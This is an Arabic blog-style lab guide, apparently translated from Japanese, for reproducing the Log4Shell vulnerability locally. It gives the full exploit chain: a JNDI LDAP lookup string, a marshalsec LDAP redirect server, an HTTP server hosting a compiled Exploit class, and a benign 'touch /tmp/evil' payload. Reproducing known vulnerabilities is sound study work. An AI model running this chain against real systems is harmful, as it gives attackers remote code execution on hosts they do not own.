
دليل إعادة إنتاج خطوة بخطوة لثغرة CVE-2021-44228 (Log4Shell) باستخدام JDK 8u20، وLog4j 2.14.1 القابل للاستغلال، وخادم LDAP من marshalsec، وتجميع حمولة مخصصة.
أعتقد أن هذا الحديث أكثر فائدة من الناحية العملية (بكاء)christophetd/log4shell-vulnerable-app
لأنني تحققت من هذا بدافع الفضول والاندفاع فقط، فقد تحتوي بعض النقاط على غموض أو أخطاء.
يرجى التعامل مع هذا على مسؤوليتك الخاصة.
من المفترض أن يعمل في بيئة لينكس.
ابتداءً من jdk8u191، أُضيف خيار com.sun.jndi.rmi.object.trustURLCodebase وأصبحت قيمته الافتراضية False.
في هذه الحالة لا يمكن تحميل class مُجهَّز خارجيًا، لذلك سنستخدم إصدارًا أقدم من ذلك.
(هل يمكن تحميل الفئات الداخلية أو تجاوز ذلك؟؟)
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
التنزيل المباشر لـ jdk8u20
قم بفك الضغط وضعه في مكان مناسب مثل /opt.
تنزيل log4j
قم بفك الضغط واستخرج log4j-api-2.14.1.jar وlog4j-core-2.14.1.jar (في هذه التجربة وضعتهما في مجلد باسم log4japp).
export CLASSPATH=:/path/to/log4japp/log4j-api-2.14.1.jar:/path/to/log4japp/log4j-core-2.14.1.jar
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://your-ip:1389/resource}");
// /resource がないと動きませんでした。
}
}
mbechler/marshalsec
إعادة توجيه استعلامات ldap إلى جهة الويب.
mvn clean package -DskipTests
بدء الاستماع
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-web-ip:8888/#Exploit"
قم أيضًا بتجهيز وجهة إعادة التوجيه الخاصة بـ marshalsec
python3 -m http.server 8888
class Exploit {
static {
try { Runtime.getRuntime().exec("touch /tmp/evil"); } catch(Exception e) {}
}
}
قم بالترجمة باستخدام jdk8u20 المُثبَّت
/opt/java/jdk1.8.0_20/bin/javac Exploit.java
قم بالترجمة والتشغيل باستخدام jdk8u20 المُثبَّت.
/opt/java/jdk1.8.0_20/bin/javac log4j.java
/opt/java/jdk1.8.0_20/bin/java log4j
